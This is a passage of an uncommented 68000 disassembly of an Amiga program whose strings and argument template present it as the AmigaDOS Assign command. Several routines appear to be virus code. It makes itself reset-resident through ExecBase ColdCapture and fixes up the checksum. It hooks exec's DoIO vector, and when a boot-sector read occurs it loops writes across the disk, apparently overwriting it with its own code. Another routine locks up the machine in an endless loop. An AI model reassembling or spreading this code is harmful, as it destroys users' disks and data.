  1112.     JSR    -630(A6)        ;0B7E: 4EAEFD8A
  1113.     MOVEA.L    D7,A1            ;0B82: 2247
  1114.     MOVE.L    #$000001F4,D0        ;0B84: 203C000001F4
  1115.     JSR    -204(A6)        ;0B8A: 4EAEFF34
  1116.     MOVE.L    D7,46(A6)        ;0B8E: 2D47002E
  1117.     LEA    34(A6),A0        ;0B92: 41EE0022
  1118.     CLR    D0            ;0B96: 4240
  1119.     MOVEQ    #23,D7            ;0B98: 7E17
  1120. LAB_007C:
  1121.     ADD    (A0)+,D0        ;0B9A: D058
  1122.     DBF    D7,LAB_007C        ;0B9C: 51CFFFFC
  1123.     NOT    D0            ;0BA0: 4640
  1124.     MOVE    D0,(A0)            ;0BA2: 3080
  1125.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;0BA4: 4CDF7FFF
  1126.     RTS                ;0BA8: 4E75
  1127. LAB_007D:
  1128.     LEA    HARDBASE,A5        ;0BAA: 4BF900DFF000
  1129.     MOVE.L    #$7FFF7FFF,150(A5)    ;0BB0: 2B7C7FFF7FFF0096
  1130.     MOVE    #$8280,150(A5)        ;0BB8: 3B7C82800096
  1131.     MOVE    #$C000,154(A5)        ;0BBE: 3B7CC000009A
  1132.     LEA    LAB_007F(PC),A0        ;0BC4: 41FA0018
  1133.     MOVE.L    A0,128(A5)        ;0BC8: 2B480080
  1134.     MOVE    D0,136(A5)        ;0BCC: 3B400088
  1135.     MOVE    #$0000,508(A5)        ;0BD0: 3B7C000001FC
  1136.     MOVE    #$0C00,262(A5)        ;0BD6: 3B7C0C000106
  1137. LAB_007E:
  1138.     BRA.S    LAB_007E        ;0BDC: 60FE
  1139. LAB_007F:
  1140.     BCLR    D0,D0            ;0BDE: 0180
  1141.     DC.W    $0000            ;0BE0
  1142.     BCLR    D0,D2            ;0BE2: 0182
  1143.     DC.W    $0000            ;0BE4
  1144.     MOVEQ    #7,D0            ;0BE6: 7007
  1145.     DC.W    $FFFE            ;0BE8
  1146.     BCLR    D0,D0            ;0BEA: 0180
  1147.     BTST    D7,D0            ;0BEC: 0F00
  1148.     ADDX.B    D7,D2            ;0BEE: D507
  1149.     DC.W    $FFFE            ;0BF0
  1150.     BCLR    D0,D0            ;0BF2: 0180
  1151.     DC.W    $0FF0            ;0BF4
  1152.     DC.W    $FFFF            ;0BF6
  1153.     DC.W    $FFFE            ;0BF8
  1154. LAB_0080:
  1155.     MOVEA.L    (ABSEXECBASE).W,A6    ;0BFA: 2C780004
  1156.     MOVE.L    -454(A6),D0        ;0BFE: 202EFE3A
  1157.     LEA    LAB_0083(PC),A0        ;0C02: 41FA004C
  1158.     MOVE.L    D0,2(A0)        ;0C06: 21400002
  1159.     LEA    LAB_0081(PC),A0        ;0C0A: 41FA0008
  1160.     MOVE.L    A0,-454(A6)        ;0C0E: 2D48FE3A
  1161.     RTS                ;0C12: 4E75
  1162. LAB_0081:
  1163.     CMPI    #$0002,28(A1)        ;0C14: 0C690002001C
  1164.     BNE.S    LAB_0083        ;0C1A: 6634
  1165.     TST.L    44(A1)            ;0C1C: 4AA9002C
  1166.     BNE.S    LAB_0083        ;0C20: 662E
  1167.     MOVEQ    #0,D7            ;0C22: 7E00
  1168. LAB_0082:
  1169.     MOVE    #$0003,28(A1)        ;0C24: 337C0003001C
  1170.     LEA    LAB_0080(PC),A5        ;0C2A: 4BFAFFCE
  1171.     MOVE.L    A5,40(A1)        ;0C2E: 234D0028
  1172.     MOVE.L    D7,36(A1)        ;0C32: 23470024
  1173.     MOVE.L    D7,44(A1)        ;0C36: 2347002C
  1174.     JSR    -456(A6)        ;0C3A: 4EAEFE38
  1175.     MOVE    #$0004,28(A1)        ;0C3E: 337C0004001C
  1176.     JSR    -456(A6)        ;0C44: 4EAEFE38
  1177.     ADDI.L    #$00000400,D7        ;0C48: 068700000400
  1178.     BRA.S    LAB_0082        ;0C4E: 60D4
  1179. LAB_0083:
  1180.     JMP    EXT_0000        ;0C50: 4EF900000000
  1181.     MOVEP    1026(A0),D0        ;0C56: 01080402
  1182. LAB_0084:
  1183.     DC.W    $646F            ;0C5A
  1184.     DC.W    $732E            ;0C5C
  1185.     DC.W    $6C69            ;0C5E
  1186.     BHI.S    LAB_0086        ;0C60: 6272
  1187.     BSR.S    LAB_0086+2        ;0C62: 6172
  1188.     DC.W    $7900            ;0C64
  1189. LAB_0085:
  1190.     TRAP    #1            ;0C66: 4E41
  1191.     DC.W    $4D45            ;0C68
  1192.     MOVEA.L    (A4),A6            ;0C6A: 2C54
  1193.     DC.W    $4152            ;0C6C
  1194.     DC.W    $4745            ;0C6E
  1195.     ADDQ.B    #2,19756(A7)        ;0C70: 542F4D2C
  1196.     DC.W    $4C49            ;0C74
  1197.     SUBQ    #1,(A4)            ;0C76: 5354
  1198.     DC.W    $2F53            ;0C78
  1199.     MOVEA.L    D5,A6            ;0C7A: 2C45
  1200.     ADDQ    #4,A1            ;0C7C: 5849
  1201.     SUBQ    #1,(A4)            ;0C7E: 5354
  1202.     SUBQ.B    #1,21292(A7)        ;0C80: 532F532C
  1203.     DC.W    $4449            ;0C84
  1204.     SUBQ    #1,A5            ;0C86: 534D
  1205.     DC.W    $4F55            ;0C88
  1206.     DC.W    $4E54            ;0C8A
  1207.     MOVE.L    (A3),11332(A7)        ;0C8C: 2F532C44
  1208.     DC.W    $4546            ;0C90
  1209.     DC.W    $4552            ;0C92
  1210.     MOVE.L    (A3),11344(A7)        ;0C94: 2F532C50
  1211.     DC.W    $4154            ;0C98
  1212.     NBCD    21292(A7)        ;0C9A: 482F532C
  1213.     DC.W    $4144            ;0C9E
  1214.     NEG.B    21292(A7)        ;0CA0: 442F532C
  1215.     ADDQ    #1,D5            ;0CA4: 5245
  1216.     DC.W    $4D4F            ;0CA6
  1217.     ADDQ    #3,D5            ;0CA8: 5645
  1218.     MOVE.L    (A3),11350(A7)        ;0CAA: 2F532C56
  1219.     DC.W    $4F4C            ;0CAE
  1220.     SUBQ.B    #1,21292(A7)        ;0CB0: 532F532C
  1221.     DC.W    $4449            ;0CB4
  1222.     ADDQ    #1,(A3)            ;0CB6: 5253
  1223.     MOVE.L    (A3),11332(A7)        ;0CB8: 2F532C44
  1224.     DC.W    $4556            ;0CBC
  1225.     DC.W    $4943            ;0CBE
  1226.     DC.W    $4553            ;0CC0
  1227.     MOVE.L    (A3),36(A7)        ;0CC2: 2F530024
  1228.     ADDQ    #3,D5            ;0CC6: 5645
  1229.     DC.W    $523A            ;0CC8
  1230.     MOVEA.L    -(A1),A0        ;0CCA: 2061
  1231.     DC.W    $7373            ;0CCC
  1232.     DC.W    $6967            ;0CCE
  1233.     BGT.S    LAB_0089        ;0CD0: 6E20
  1234.     DC.W    $3337            ;0CD2
  1235. LAB_0086:
  1236.     MOVE.L    40(A5,D2.W),D7        ;0CD4: 2E352028
  1237.     DC.W    $3230            ;0CD8
  1238.     DC.W    $2E35            ;0CDA
  1239.     DC.W    $2E39            ;0CDC
  1240.     DC.W    $3229            ;0CDE
  1241.     DC.W    $0A0D            ;0CE0
  1242.     DC.W    $0000            ;0CE2
  1243. LAB_0088:
  1244.     DC.W    $496E            ;0CE4
  1245.     MOVEQ    #97,D3            ;0CE6: 7661
  1246.     DC.W    $6C69            ;0CE8
  1247.     BCC.S    LAB_008B+2        ;0CEA: 6420
  1248.     DC.W    $6465            ;0CEC
  1249.     MOVEQ    #105,D3            ;0CEE: 7669
  1250.     DC.W    $6365            ;0CF0
  1251. LAB_0089:
  1252.     DC.W    $206E            ;0CF2
  1253.     DC.W    $616D            ;0CF4
  1254.     BCS.S    LAB_008C        ;0CF6: 6520
  1255.     DC.W    $2573            ;0CF8
  1256.     DC.W    $0A00            ;0CFA
  1257. LAB_008A:
  1258.     DC.W    $4F6E            ;0CFC
  1259.     DC.W    $6C79            ;0CFE
  1260.     DC.W    $206F            ;0D00
  1261.     DC.W    $6E65            ;0D02
  1262.     MOVEA.L    26144(A7),A0        ;0D04: 206F6620
  1263.     DC.W    $4144            ;0D08
  1264. LAB_008B:
  1265.     NEG.B    8275(A4)        ;0D0A: 442C2053
  1266.     SUBQ    #2,D2            ;0D0E: 5542
  1267.     MOVE.L    -(A0),D6        ;0D10: 2C20
  1268.     ADDQ    #8,D1            ;0D12: 5041
  1269.     ADDQ    #2,A0            ;0D14: 5448
  1270.     MOVE.L    -(A0),D6        ;0D16: 2C20
  1271. LAB_008C:
  1272.     BLE.S    LAB_0092        ;0D18: 6F72
  1273.     MOVEA.L    D4,A0            ;0D1A: 2044
  1274.     DC.W    $4546            ;0D1C
  1275.     DC.W    $4552            ;0D1E
  1276.     MOVEA.L    -(A1),A0        ;0D20: 2061
  1277.     BGE.S    LAB_0094        ;0D22: 6C6C
  1278.     DC.W    $6F77            ;0D24
  1279.     BCS.S    LAB_0092        ;0D26: 6564
  1280.     DC.W    $0A00            ;0D28
  1281. LAB_008D:
  1282.     DC.W    $4361            ;0D2A
  1283.     DC.W    $6E27            ;0D2C
  1284.     MOVEQ    #32,D2            ;0D2E: 7420
  1285.     DC.W    $6173            ;0D30
  1286.     DC.W    $7369            ;0D32
  1287.     BEQ.S    LAB_0097        ;0D34: 676E
  1288.     MOVE.L    -(A5),D0        ;0D36: 2025
  1289.     DC.W    $730A            ;0D38
  1290.     DC.W    $0000            ;0D3A
  1291. LAB_008E:
  1292.     DC.W    $4361            ;0D3C
  1293.     DC.W    $6E27            ;0D3E
  1294.     MOVEQ    #32,D2            ;0D40: 7420
  1295.     DC.W    $6669            ;0D42
  1296.     BGT.S    LAB_0098+2        ;0D44: 6E64
  1297.     MOVE.L    -(A5),D0        ;0D46: 2025
  1298.     DC.W    $730A            ;0D48
  1299.     DC.W    $0000            ;0D4A
  1300. LAB_008F:
  1301.     DC.W    $4361            ;0D4C
  1302.     DC.W    $6E27            ;0D4E
  1303.     MOVEQ    #32,D2            ;0D50: 7420
  1304.     DC.W    $7375            ;0D52
  1305.     BHI.S    LAB_009D        ;0D54: 6274
  1306.     MOVEQ    #97,D1            ;0D56: 7261
  1307.     BLS.S    LAB_009E        ;0D58: 6374
  1308.     MOVE.L    -(A5),D0        ;0D5A: 2025
  1309.     DC.W    $7320            ;0D5C
  1310.     BNE.S    LAB_009F        ;0D5E: 6672
  1311.     DC.W    $6F6D            ;0D60
  1312.     MOVE.L    -(A5),D0        ;0D62: 2025
  1313.     DC.W    $730A            ;0D64
  1314.     DC.W    $0000            ;0D66
  1315. LAB_0090:
  1316.     DC.W    $4361            ;0D68
  1317.     DC.W    $6E27            ;0D6A
  1318.     MOVEQ    #32,D2            ;0D6C: 7420
  1319.     BSR.S    LAB_00A0        ;0D6E: 6164
  1320.     BCC.S    LAB_0095        ;0D70: 6420
  1321.     MOVE.L    116(A3,D2.W),28448(A2)    ;0D72: 257320746F20
  1322.     DC.W    $2573            ;0D78
  1323.     DC.W    $0A00            ;0D7A
  1324. LAB_0091:
  1325.     DC.W    $4361            ;0D7C
  1326.     DC.W    $6E27            ;0D7E
  1327.     MOVEQ    #32,D2            ;0D80: 7420
  1328.     DC.W    $6361            ;0D82
  1329.     DC.W    $6E63            ;0D84
  1330.     BCS.S    LAB_00A7        ;0D86: 656C
  1331.     MOVE.L    -(A5),D0        ;0D88: 2025
  1332.     DC.W    $730A            ;0D8A
  1333. LAB_0092:
  1334.     DC.W    $0000            ;0D8C
  1335. LAB_0093:
  1336.     DC.W    $566F            ;0D8E
  1337. LAB_0094:
  1338.     DC.W    $6C75            ;0D90
  1339. LAB_0095:
  1340.     DC.W    $6D65            ;0D92
  1341.     DC.W    $733A            ;0D94
  1342.     DC.W    $0A00            ;0D96
  1343. LAB_0096:
  1344.     EORI    #$6972,D4        ;0D98: 0A446972
  1345.     DC.W    $6563            ;0D9C
  1346.     MOVEQ    #111,D2            ;0D9E: 746F
  1347.     MOVEQ    #105,D1            ;0DA0: 7269
  1348.     DC.W    $6573            ;0DA2
  1349. LAB_0097:
  1350.     MOVE    A2,D5            ;0DA4: 3A0A
  1351.     DC.W    $0000            ;0DA6
  1352. LAB_0098:
  1353.     EORI    #$6576,D4        ;0DA8: 0A446576
  1354.     DC.W    $6963            ;0DAC
  1355.     DC.W    $6573            ;0DAE
  1356.     MOVE    A2,D5            ;0DB0: 3A0A
  1357.     DC.W    $0000            ;0DB2
  1358. LAB_009A:
  1359.     MOVEA.L    (A3)+,A0        ;0DB4: 205B
  1360.     DC.W    $4D6F            ;0DB6
  1361.     DC.W    $756E            ;0DB8
  1362.     MOVEQ    #101,D2            ;0DBA: 7465
  1363.     DC.W    $645D            ;0DBC
  1364.     DC.W    $0A00            ;0DBE
  1365. LAB_009B:
  1366.     DC.W    $0A00            ;0DC0
  1367. LAB_009C:
  1368.     MOVE.L    -(A0),D0        ;0DC2: 2020
  1369.     MOVE.L    -(A0),D0        ;0DC4: 2020
  1370.     MOVE.L    -(A0),D0        ;0DC6: 2020
  1371.     MOVE.L    -(A0),D0        ;0DC8: 2020
  1372. LAB_009D:
  1373.     MOVE.L    -(A0),D0        ;0DCA: 2020
  1374.     MOVE.L    -(A0),D0        ;0DCC: 2020
  1375. LAB_009E:
  1376.     MOVE.L    -(A0),D0        ;0DCE: 2020
  1377.     MOVE.L    D0,D0            ;0DD0: 2000
  1378. LAB_009F:
  1379.     MOVE.L    -(A0),D0        ;0DD2: 2020
  1380. LAB_00A0:
  1381.     MOVE.L    -(A0),D0        ;0DD4: 2020
  1382.     MOVE.L    -(A0),D0        ;0DD6: 2020
  1383.     MOVE.L    -(A0),D0        ;0DD8: 2020
  1384.     MOVE.L    -(A0),D0        ;0DDA: 2020
  1385.     MOVE.L    -(A0),D0        ;0DDC: 2020
  1386.     MOVE.L    8192(A3),D0        ;0DDE: 202B2000
  1387. LAB_00A1:
  1388.     MOVE    D0,D6            ;0DE2: 3C00
  1389. LAB_00A2:
  1390.     MOVE    A2,D7            ;0DE4: 3E0A
  1391.     DC.W    $0000            ;0DE6
  1392. LAB_00A3:
  1393.     SUBQ.B    #5,D0            ;0DE8: 5B00
  1394. LAB_00A4:
  1395.     DC.W    $5D0A            ;0DEA
  1396.     DC.W    $0000            ;0DEC
  1397. LAB_00A5:
  1398.     MOVE.L    D0,D0            ;0DEE: 2000
  1399. LAB_00A6:
  1400.     DC.W    $2573            ;0DF0
  1401.     MOVE    -(A0),D5        ;0DF2: 3A20
  1402. LAB_00A7:
  1403.     DC.W    $6E6F            ;0DF4
  1404.     MOVEQ    #32,D2            ;0DF6: 7420
  1405.     DC.W    $6173            ;0DF8
  1406.     DC.W    $7369            ;0DFA
  1407.     BEQ.S    LAB_00AF        ;0DFC: 676E
  1408.     BCS.S    LAB_00AE        ;0DFE: 6564
  1409.     DC.W    $0A00            ;0E00
  1410. LAB_00A8:
  1411.     DC.W    $566F            ;0E02
  1412.     DC.W    $6C75            ;0E04
  1413.     DC.W    $6D65            ;0E06
  1414.     MOVE    -(A0),D5        ;0E08: 3A20
  1415.     DC.W    $0000            ;0E0A
  1416. LAB_00A9:
  1417.     DC.W    $3F3F            ;0E0C
  1418.     MOVE    D0,-(A7)        ;0E0E: 3F00
  1419. LAB_00AA:
  1420.     DC.W    $4173            ;0E10
  1421.     DC.W    $7369            ;0E12
  1422.     BEQ.S    LAB_00B1        ;0E14: 676E
  1423.     DC.W    $2077            ;0E16
  1424.     DC.W    $6F75            ;0E18
  1425.     BGE.S    LAB_00B0        ;0E1A: 6C64
  1426.     DC.W    $2072            ;0E1C
  1427.     BCS.S    LAB_00B1+2        ;0E1E: 6566
  1428.     BCS.S    LAB_00B4+2        ;0E20: 6572
  1429.     DC.W    $2074            ;0E22
  1430.     BLE.S    LAB_00AC        ;0E24: 6F20
  1431.     BVS.S    LAB_00B7        ;0E26: 6974
  1432.     DC.W    $7365            ;0E28
  1433.     BGE.S    LAB_00B4        ;0E2A: 6C66
  1434.     DC.W    $0A00            ;0E2C
  1435. LAB_00AB:
  1436.     LINK    A5,#-264        ;0E2E: 4E55FEF8
  1437.     MOVEM.L    D2-D3/D7/A2-A3/A6,-(A7)    ;0E32: 48E73132
  1438.     MOVE.L    D0,D7            ;0E36: 2E00
  1439.     MOVEA.L    A1,A3            ;0E38: 2649
  1440.     MOVE.L    A0,-264(A5)        ;0E3A: 2B48FEF8
  1441.     TST.L    D7            ;0E3E: 4A87
  1442.     BEQ    LAB_00B9        ;0E40: 67000082
  1443.     MOVE.L    D7,D0            ;0E44: 2007
  1444. LAB_00AC:
  1445.     ASL.L    #2,D0            ;0E46: E580
  1446.     MOVEA.L    D0,A0            ;0E48: 2040
  1447.     MOVE.L    16(A0),D1        ;0E4A: 22280010
  1448.     ASL.L    #2,D1            ;0E4E: E581
  1449.     MOVEA.L    D1,A2            ;0E50: 2441
  1450.     MOVE.L    A2,D0            ;0E52: 200A
  1451.     BEQ.S    LAB_00AD        ;0E54: 6706
  1452.     TST.L    8(A2)            ;0E56: 4AAA0008
  1453.     BNE.S    LAB_00B6        ;0E5A: 663C
  1454. LAB_00AD:
  1455.     MOVEQ    #8,D0            ;0E5C: 7008
  1456.     LEA    LAB_00A8(PC),A0        ;0E5E: 41FAFFA2
  1457.     MOVEA.L    A3,A1            ;0E62: 224B
  1458. LAB_00AE:
  1459.     BSR    LAB_00BA        ;0E64: 61000072
  1460.     MOVE.L    A2,D0            ;0E68: 200A
  1461.     BEQ.S    LAB_00B3        ;0E6A: 671E
  1462. LAB_00AF:
  1463.     MOVE.L    40(A2),D0        ;0E6C: 202A0028
  1464.     ASL.L    #2,D0            ;0E70: E580
  1465.     MOVEA.L    D0,A0            ;0E72: 2040
  1466.     LEA    1(A0),A1        ;0E74: 43E80001
  1467.     MOVE.B    (A0),D1            ;0E78: 1210
  1468.     EXT    D1            ;0E7A: 4881
  1469.     EXT.L    D1            ;0E7C: 48C1
  1470.     MOVE.L    D1,D0            ;0E7E: 2001
  1471. LAB_00B0:
  1472.     MOVEA.L    A1,A0            ;0E80: 2049
  1473.     MOVEA.L    A3,A1            ;0E82: 224B
  1474. LAB_00B1:
  1475.     BSR    LAB_00BA        ;0E84: 61000052
  1476.     BRA.S    LAB_00B9        ;0E88: 603A
  1477. LAB_00B3:
  1478.     MOVEQ    #3,D0            ;0E8A: 7003
  1479.     LEA    LAB_00A9(PC),A0        ;0E8C: 41FAFF7E
  1480.     MOVEA.L    A3,A1            ;0E90: 224B
  1481. LAB_00B4:
  1482.     BSR    LAB_00BA        ;0E92: 61000044
  1483.     BRA.S    LAB_00B9        ;0E96: 602C
  1484. LAB_00B6:
  1485.     CLR.B    -260(A5)        ;0E98: 422DFEFC
  1486. LAB_00B7:
  1487.     MOVE.L    D7,D1            ;0E9C: 2207
  1488.     LEA    -260(A5),A0        ;0E9E: 41EDFEFC
  1489.     MOVE.L    A0,D2            ;0EA2: 2408
  1490.     MOVEQ    #0,D3            ;0EA4: 7600
  1491.     NOT.B    D3            ;0EA6: 4603
  1492.     MOVEA.L    -264(A5),A6        ;0EA8: 2C6DFEF8
  1493.     JSR    -402(A6)        ;0EAC: 4EAEFE6E
  1494.     MOVEA.L    D2,A0            ;0EB0: 2042
  1495. LAB_00B8:
  1496.     TST.B    (A0)+            ;0EB2: 4A18
  1497.     BNE.S    LAB_00B8        ;0EB4: 66FC
  1498.     SUBQ.L    #1,A0            ;0EB6: 5388
  1499.     SUBA.L    D2,A0            ;0EB8: 91C2
  1500.     MOVE.L    A0,D0            ;0EBA: 2008
  1501.     MOVEA.L    D2,A0            ;0EBC: 2042
  1502.     MOVEA.L    A3,A1            ;0EBE: 224B
  1503.     BSR    LAB_00BA        ;0EC0: 61000016
  1504. LAB_00B9:
  1505.     MOVEQ    #1,D0            ;0EC4: 7001
  1506.     LEA    LAB_009B(PC),A0        ;0EC6: 41FAFEF8
  1507.     MOVEA.L    A3,A1            ;0ECA: 224B
  1508.     BSR    LAB_00BA        ;0ECC: 6100000A
  1509.     MOVEM.L    (A7)+,D2-D3/D7/A2-A3/A6    ;0ED0: 4CDF4C8C
  1510.     UNLK    A5            ;0ED4: 4E5D
  1511.     RTS                ;0ED6: 4E75
  1512. LAB_00BA:
  1513.     LINK    A5,#-16            ;0ED8: 4E55FFF0
  1514.     MOVEM.L    D7/A2-A3/A6,-(A7)    ;0EDC: 48E70132
  1515.     MOVE.L    D0,D7            ;0EE0: 2E00
  1516.     MOVEM.L    A0-A1,-16(A5)        ;0EE2: 48ED0300FFF0
  1517.     MOVEA    #$0004,A0        ;0EE8: 307C0004
  1518.     MOVEA.L    (A0),A2            ;0EEC: 2450
  1519.     MOVEA.L    -12(A5),A0        ;0EEE: 206DFFF4
  1520.     MOVEA.L    (A0),A3            ;0EF2: 2650
  1521.     MOVE.L    8(A3),D0        ;0EF4: 202B0008
  1522.     TST.L    D0            ;0EF8: 4A80
  1523.     BPL.S    LAB_00BB        ;0EFA: 6A04
  1524.     MOVEQ    #1,D0            ;0EFC: 7001
  1525.     BRA.S    LAB_00C2        ;0EFE: 6070
  1526. LAB_00BB:
  1527.     MOVE.L    8(A3),D0        ;0F00: 202B0008
  1528.     ADD.L    D7,D0            ;0F04: D087
  1529.     CMP.L    12(A3),D0        ;0F06: B0AB000C
  1530.     BLT.S    LAB_00BF        ;0F0A: 6D48
  1531.     MOVE.L    (A3),D0            ;0F0C: 2013
  1532.     BEQ.S    LAB_00BC        ;0F0E: 6704
  1533.     MOVEA.L    D0,A3            ;0F10: 2640
  1534.     BRA.S    LAB_00BE        ;0F12: 602C
  1535. LAB_00BC:
  1536.     MOVE.L    #$00000410,D0        ;0F14: 203C00000410
  1537.     MOVEQ    #0,D1            ;0F1A: 7200
  1538.     MOVEA.L    A2,A6            ;0F1C: 2C4A
  1539.     JSR    -198(A6)        ;0F1E: 4EAEFF3A
  1540.     MOVE.L    D0,(A3)            ;0F22: 2680
  1541.     BNE.S    LAB_00BD        ;0F24: 660A
  1542.     MOVEQ    #-1,D1            ;0F26: 72FF
  1543.     MOVE.L    D1,8(A3)        ;0F28: 27410008
  1544.     MOVEQ    #1,D0            ;0F2C: 7001
  1545.     BRA.S    LAB_00C2        ;0F2E: 6040
  1546. LAB_00BD:
  1547.     MOVEA.L    (A3),A1            ;0F30: 2253
  1548.     MOVE.L    #$00000400,12(A1)    ;0F32: 237C00000400000C
  1549.     MOVEA.L    A1,A3            ;0F3A: 2649
  1550.     SUBA.L    A1,A1            ;0F3C: 93C9
  1551.     MOVE.L    A1,(A3)            ;0F3E: 2689
  1552. LAB_00BE:
  1553.     MOVEQ    #0,D0            ;0F40: 7000
  1554.     MOVE.L    D0,8(A3)        ;0F42: 27400008
  1555.     LEA    16(A3),A0        ;0F46: 41EB0010
  1556.     MOVE.L    A0,4(A3)        ;0F4A: 27480004
  1557.     MOVEA.L    -12(A5),A1        ;0F4E: 226DFFF4
  1558.     MOVE.L    A3,(A1)            ;0F52: 228B
  1559. LAB_00BF:
  1560.     MOVEA.L    4(A3),A0        ;0F54: 206B0004
  1561.     ADDA.L    8(A3),A0        ;0F58: D1EB0008
  1562.     MOVE.L    D7,D0            ;0F5C: 2007
  1563.     MOVEA.L    -16(A5),A1        ;0F5E: 226DFFF0
  1564.     BRA.S    LAB_00C1        ;0F62: 6002
  1565. LAB_00C0:
  1566.     MOVE.B    (A1)+,(A0)+        ;0F64: 10D9
  1567. LAB_00C1:
  1568.     SUBQ.L    #1,D0            ;0F66: 5380
  1569.     BCC.S    LAB_00C0        ;0F68: 64FA
  1570.     ADD.L    D7,8(A3)        ;0F6A: DFAB0008
  1571.     MOVEQ    #0,D0            ;0F6E: 7000
  1572. LAB_00C2:
  1573.     MOVEM.L    (A7)+,D7/A2-A3/A6    ;0F70: 4CDF4C80
  1574.     UNLK    A5            ;0F74: 4E5D
  1575.     RTS                ;0F76: 4E75
  1576. LAB_00C3:
  1577.     LINK    A5,#-12            ;0F78: 4E55FFF4
  1578.     MOVEM.L    D2/D7/A2-A3/A6,-(A7)    ;0F7C: 48E72132
  1579.     MOVEA.L    A1,A3            ;0F80: 2649
  1580.     MOVE.L    A0,-12(A5)        ;0F82: 2B48FFF4
  1581.     BRA.S    LAB_00CB        ;0F86: 6058
  1582. LAB_00C4:
  1583.     MOVE.L    8(A3),D0        ;0F88: 202B0008
  1584.     TST.L    D0            ;0F8C: 4A80
  1585.     BLE.S    LAB_00C9        ;0F8E: 6F40
  1586.     MOVEA.L    4(A3),A2        ;0F90: 246B0004
  1587.     MOVE.L    D0,D7            ;0F94: 2E00
  1588.     BRA.S    LAB_00C8        ;0F96: 6032
  1589. LAB_00C5:
  1590.     MOVE.L    #$00001000,D1        ;0F98: 223C00001000
  1591.     MOVEA.L    -12(A5),A6        ;0F9E: 2C6DFFF4
  1592.     JSR    -792(A6)        ;0FA2: 4EAEFCE8
  1593.     TST.L    D0            ;0FA6: 4A80
  1594.     BEQ.S    LAB_00C6        ;0FA8: 6708
  1595.     MOVE.L    #$00000130,D0        ;0FAA: 203C00000130
  1596.     BRA.S    LAB_00CC        ;0FB0: 6032
  1597. LAB_00C6:
  1598.     MOVEQ    #100,D0            ;0FB2: 7064
  1599.     CMP.L    D0,D7            ;0FB4: BE80
  1600.     BGT.S    LAB_00C7        ;0FB6: 6E02
  1601.     MOVE.L    D7,D0            ;0FB8: 2007
  1602. LAB_00C7:
  1603.     MOVE.L    D0,D2            ;0FBA: 2400
  1604.     MOVE.L    A2,D1            ;0FBC: 220A
  1605.     JSR    -942(A6)        ;0FBE: 4EAEFC52
  1606.     MOVEQ    #100,D0            ;0FC2: 7064
  1607.     SUB.L    D0,D7            ;0FC4: 9E80
  1608.     ADDA    #$0064,A2        ;0FC6: D4FC0064
  1609. LAB_00C8:
  1610.     TST.L    D7            ;0FCA: 4A87
  1611.     BGT.S    LAB_00C5        ;0FCC: 6ECA
  1612.     BRA.S    LAB_00CA        ;0FCE: 600A
  1613. LAB_00C9:
  1614.     MOVE.L    8(A3),D0        ;0FD0: 202B0008
  1615.     BEQ.S    LAB_00CC        ;0FD4: 670E
  1616.     MOVEQ    #103,D0            ;0FD6: 7067
  1617.     BRA.S    LAB_00CC        ;0FD8: 600A
  1618. LAB_00CA:
  1619.     CLR.L    8(A3)            ;0FDA: 42AB0008
  1620.     MOVEA.L    (A3),A3            ;0FDE: 2653
  1621. LAB_00CB:
  1622.     MOVE.L    A3,D0            ;0FE0: 200B
  1623.     BNE.S    LAB_00C4        ;0FE2: 66A4
  1624. LAB_00CC:
  1625.     MOVEM.L    (A7)+,D2/D7/A2-A3/A6    ;0FE4: 4CDF4C84
  1626.     UNLK    A5            ;0FE8: 4E5D
  1627.     RTS                ;0FEA: 4E75
  1628. LAB_00CD:
  1629.     LINK    A5,#-64            ;0FEC: 4E55FFC0
  1630.     MOVEM.L    D2-D3/D5-D7/A2-A3/A6,-(A7) ;0FF0: 48E73732
  1631.     MOVEA.L    8(A5),A3        ;0FF4: 266D0008
  1632.     MOVE.L    D0,D7            ;0FF8: 2E00
  1633.     MOVEM.L    A0-A1,-60(A5)        ;0FFA: 48ED0300FFC4
  1634.     MOVEQ    #0,D6            ;1000: 7C00
  1635.     MOVEQ    #17,D1            ;1002: 7211
  1636.     MOVEA.L    -60(A5),A6        ;1004: 2C6DFFC4
  1637.     JSR    -654(A6)        ;1008: 4EAEFD72
  1638.     MOVE.L    D0,32(A7)        ;100C: 2F400020
  1639.     TST.L    D0            ;1010: 4A80
  1640.     BNE.S    LAB_00CE        ;1012: 660A
  1641.     LEA    LAB_008D(PC),A0        ;1014: 41FAFD14
  1642.     MOVE.L    A0,D0            ;1018: 2008
  1643.     BRA    LAB_00D8        ;101A: 600000BC
  1644. LAB_00CE:
  1645.     CLR.L    -16(A5)            ;101E: 42ADFFF0
  1646.     LSR.L    #2,D7            ;1022: E48F
  1647.     MOVEA.L    12(A5),A2        ;1024: 246D000C
  1648.     BRA    LAB_00D6        ;1028: 6000009A
  1649. LAB_00CF:
  1650.     LEA    -47(A5),A0        ;102C: 41EDFFD1
  1651.     MOVEA.L    A3,A1            ;1030: 224B
  1652.     BSR    LAB_00D9        ;1032: 610000AC
  1653.     MOVEA.L    D0,A3            ;1036: 2640
  1654.     MOVEA.L    A3,A0            ;1038: 204B
  1655.     MOVE.L    A0,-16(A5)        ;103A: 2B48FFF0
  1656.     BNE    LAB_00D7        ;103E: 6600008C
  1657.     MOVE.B    -47(A5),D0        ;1042: 102DFFD1
  1658.     TST.B    D0            ;1046: 4A00
  1659.     BEQ    LAB_00D7        ;1048: 67000082
  1660.     MOVEA.L    -56(A5),A0        ;104C: 206DFFC8
  1661.     LEA    -47(A5),A1        ;1050: 43EDFFD1
  1662.     JSR    LAB_00E2(PC)        ;1054: 4EBA00D8
  1663.     TST.L    D0            ;1058: 4A80
  1664.     BNE.S    LAB_00D0        ;105A: 6606
  1665.     LEA    LAB_00AA(PC),A3        ;105C: 47FAFDB2
  1666.     BRA.S    LAB_00D7        ;1060: 606A
  1667. LAB_00D0:
  1668.     MOVE.L    32(A7),D1        ;1062: 222F0020
  1669.     LEA    -47(A5),A0        ;1066: 41EDFFD1
  1670.     MOVE.L    A0,D2            ;106A: 2408
  1671.     MOVEQ    #16,D3            ;106C: 7610
  1672.     MOVEA.L    -60(A5),A6        ;106E: 2C6DFFC4
  1673.     JSR    -684(A6)        ;1072: 4EAEFD54
  1674.     MOVEA.L    D0,A2            ;1076: 2440
  1675.     MOVEA.L    -16(A5),A3        ;1078: 266DFFF0
  1676.     MOVE.L    A2,D0            ;107C: 200A
  1677.     BEQ.S    LAB_00D7        ;107E: 674C
  1678.     MOVE.L    4(A2),D0        ;1080: 202A0004
  1679.     MOVEQ    #4,D1            ;1084: 7204
  1680.     CMP.L    D1,D0            ;1086: B081
  1681.     BEQ.S    LAB_00D1        ;1088: 6704
